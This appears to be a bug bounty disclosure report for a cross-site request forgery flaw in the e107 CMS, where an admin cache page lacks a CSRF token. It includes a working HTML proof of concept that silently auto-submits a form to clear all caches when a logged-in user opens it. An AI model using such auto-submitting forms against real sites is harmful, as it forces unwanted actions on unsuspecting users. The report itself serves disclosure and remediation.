Cross-Site Request Forgery (CSRF) in e107inc/e107
Valid
Reported on
Sep 13th 2021
✍️ Description
Attacker or malicious user is able to delete all caches if a logged in user visits attacker website. because lack of CSRF token.
🕵️♂️ Proof of Concept
1.when you logged in open this POC.html in a browser
2.you can check unintentionally all caches are cleared
//POC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8181/ecms-full/e107_admin/cache.php" method="POST">
<input type="hidden" name="cachestatus" value="0" />
<input type="hidden" name="syscachestatus" value="0" />
<input type="hidden" name="jscsscachestatus" value="0" />
<input type="hidden" name="option_clear_cache" value="empty_all" />
<input type="hidden" name="trigger_empty_cache" value="Delete" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
💥 Impact
This vulnerability is capable of forcing user to unintentional clear caches.
💥 Test
Tested version is 2.3 on Firefox and safari.
💥 Fix
You should set a CSRF token on this requeset.
We have contacted a member of the
e107inc/e107
team and are waiting to hear back
2 years ago
to join this conversation